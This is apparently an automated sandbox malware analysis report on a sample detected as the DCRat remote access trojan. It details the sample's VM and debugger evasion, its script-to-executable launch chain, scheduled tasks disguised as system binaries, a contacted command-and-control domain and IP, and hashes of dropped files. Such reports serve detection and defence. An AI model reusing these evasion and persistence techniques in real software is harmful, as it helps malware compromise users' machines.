Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Source: C:\refBrokerDhcp\msbrowser.exe	Memory allocated: F20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Memory allocated: 1AE10000 memory reserve \| memory write watch	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Memory allocated: 750000 memory reserve \| memory write watch	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Memory allocated: 1A5D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	Window / User API: threadDelayed 898	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Window / User API: threadDelayed 1251	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Window / User API: threadDelayed 711	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Window / User API: threadDelayed 964	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Evasive API call chain: GetLocalTime,DecisionNodes

graph_0-22979

Source: C:\refBrokerDhcp\msbrowser.exe TID: 3300	Thread sleep count: 898 > 30	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe TID: 3300	Thread sleep count: 1251 > 30	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe TID: 3020	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe TID: 7020	Thread sleep count: 711 > 30	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe TID: 6996	Thread sleep count: 964 > 30	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe TID: 7016	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_0049A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,		0_2_0049A5F4
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AB8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,		0_2_004AB8E0

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004ADD72 VirtualQuery,GetSystemInfo,

0_2_004ADD72

Source: C:\refBrokerDhcp\msbrowser.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: wscript.exe, 00000001.00000003.1721939957.000000000338F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Rc
Source: msbrowser.exe, 00000004.00000002.1742181513.000000001BEC9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000001.00000003.1721939957.000000000338F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: setup.exe, 00000000.00000003.1636183614.00000000032B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}^

Source: C:\Users\user\Desktop\setup.exe

API call chain: ExitProcess graph end node

graph_0-23315

Source: C:\refBrokerDhcp\msbrowser.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004B866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_004B866F

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004B753D mov eax, dword ptr fs:[00000030h]

0_2_004B753D

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004BB710 GetProcessHeap,

0_2_004BB710

Source: C:\refBrokerDhcp\msbrowser.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AF063 SetUnhandledExceptionFilter,	0_2_004AF063
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AF22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_004AF22B
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004B866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004B866F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_004AEF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_004AEF05

Source: C:\refBrokerDhcp\msbrowser.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\refBrokerDhcp\eop7KwarhdN0r.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: C:\refBrokerDhcp\msbrowser.exe "C:\refBrokerDhcp\msbrowser.exe"	Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004AED5B cpuid

0_2_004AED5B

Source: C:\Users\user\Desktop\setup.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_004AA63C

Source: C:\refBrokerDhcp\msbrowser.exe	Queries volume information: C:\refBrokerDhcp\msbrowser.exe VolumeInformation			Jump to behavior
Source: C:\refBrokerDhcp\msbrowser.exe	Queries volume information: C:\refBrokerDhcp\msbrowser.exe VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_004AD5D4 GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_004AD5D4

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_0049ACF5 GetVersionExW,

0_2_0049ACF5

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1761010845.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1761010845.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1739828921.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msbrowser.exe PID: 5960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msbrowser.exe PID: 1720, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1761010845.0000000002A59000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1761010845.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1739828921.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msbrowser.exe PID: 5960, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: msbrowser.exe PID: 1720, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	223 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	11 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Native API	Login Hook	Login Hook	11 Process Injection	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	3 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Software Packing	DCSync	137 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
setup.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.Uztuby
setup.exe	59%	Virustotal		Browse
setup.exe	100%	Avira	VBS/Runner.VPG
setup.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Avira	HEUR/AGEN.1323984
C:\refBrokerDhcp\QElwSQf83XBFhMyqm1gWbbiKf8tDaQ.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\sihost.exe	100%	Avira	HEUR/AGEN.1323984
C:\refBrokerDhcp\msbrowser.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Joe Sandbox ML
C:\Users\user\sihost.exe	100%	Joe Sandbox ML
C:\refBrokerDhcp\msbrowser.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Microsoft\oPmKvuejiIKwwErUS.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a1069594.xsph.ru	141.8.192.164	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	msbrowser.exe, 00000004.00000002.1739828921.0000000002FFA000.00000004.00000800.00020000.00000000.sdmp, msbrowser.exe, 00000011.00000002.1761010845.0000000002A7E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582047
Start date and time:	2024-12-29 17:50:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@36/13@2/0
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 51% Number of executed functions: 163 Number of non-executed functions: 94
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): Conhost.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 20.190.147.0, 20.190.177.147, 20.190.147.9, 20.190.177.22, 20.190.177.83, 20.190.147.3, 20.190.177.19, 20.190.177.148, 2.21.226.7, 52.149.20.212, 13.107.246.63
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, settings-ssl.xboxlive.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target msbrowser.exe, PID 1720 because it is empty
Execution Graph export aborted for target msbrowser.exe, PID 5960 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:51:04	Task Scheduler	Run new task: conhost path: "C:\Program Files\Adobe\conhost.exe"
16:51:04	Task Scheduler	Run new task: conhostc path: "C:\Program Files\Adobe\conhost.exe"
16:51:04	Task Scheduler	Run new task: ctfmon path: "C:\Recovery\ctfmon.exe"
16:51:04	Task Scheduler	Run new task: ctfmonc path: "C:\Recovery\ctfmon.exe"
16:51:04	Task Scheduler	Run new task: oPmKvuejiIKwwErUS path: "C:\Recovery\oPmKvuejiIKwwErUS.exe"
16:51:04	Task Scheduler	Run new task: oPmKvuejiIKwwErUSo path: "C:\Program Files (x86)\microsoft onedrive\23.038.0219.0001\sk\oPmKvuejiIKwwErUS.exe"
16:51:04	Task Scheduler	Run new task: RuntimeBroker path: "C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\RuntimeBroker.exe"
16:51:05	Task Scheduler	Run new task: RuntimeBrokerR path: "C:\Program Files\Windows Defender Advanced Threat Protection\en-GB\RuntimeBroker.exe"
16:51:05	Task Scheduler	Run new task: sihost path: "C:\Users\user\sihost.exe"
16:51:05	Task Scheduler	Run new task: sihosts path: "C:\Users\user\sihost.exe"
16:51:05	Task Scheduler	Run new task: wininit path: "C:\Program Files (x86)\msecache\wininit.exe"
16:51:05	Task Scheduler	Run new task: wininitw path: "C:\Program Files (x86)\msecache\wininit.exe"
16:51:07	Task Scheduler	Run new task: dwm path: "C:\refBrokerDhcp\dwm.exe"
16:51:07	Task Scheduler	Run new task: dwmd path: "C:\refBrokerDhcp\dwm.exe"
16:51:07	Task Scheduler	Run new task: lsass path: "C:\Recovery\lsass.exe"
16:51:07	Task Scheduler	Run new task: lsassl path: "C:\Recovery\lsass.exe"

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Program Files (x86)\Microsoft OneDrive\23.038.0219.0001\sk\oPmKvuejiIKwwErUS.exe (copy)

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	848384
Entropy (8bit):	6.073361471738223
Encrypted:	false
SSDEEP:	12288:NiGuwyvOIWhhWp9Td9p2VMxTG2Dwvw4IhL2pCxN:NXYOIWhhyjpaMwvhIhL2pCr
MD5:	3D428539F2CDDF97ABFE6586DF2F2C1D
SHA1:	E828475A8E5EA8DB3854CB66F0102C6532A0A997
SHA-256:	58A180BA10AAD7F5A7C9B86B2F93213FDE5E2F4816393D7A19DDC9202BC1F7A4
SHA-512:	325D96A63E0DDEC4BB2C4C9FAFA28B38C6961AF0F4C282763EB82677037A50971AC2770C8277A11A80D7853218CC560600C18F7D201F23057387E0A858D05CCC
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6........... ........@.. .......................`............@.................................P...K.... .......................@....................................................... ............... ..H............text........ ...................... ..`.sdata.../.......0..................@....rsrc........ ......................@..@.reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\96f3f64f4a7d20

Download File

Process:	C:\refBrokerDhcp\msbrowser.exe
File Type:	ASCII text, with very long lines (366), with no line terminators
Category:	dropped
Size (bytes):	366
Entropy (8bit):	5.886052608712448
Encrypted:	false
SSDEEP:	6:h8kKeie2DJEiQAgFX4Nf6eqWidfGDDkXtl6HX+U6KgzlrxgiQ0Y24Frc3OJKB+:hOTewEjA4eirI4dlGX+PZlmihDiQ3O
MD5:	AE258127E0A936C20047CCD02BB8C2A1
SHA1:	F6D7616961A7E78034FE2DFA4B5E7145F8DD00E3
SHA-256:	432A9F1422382A0C4EE4B3D12D5DE6947D86C54F1111914D2D4596CF48EAF3F2
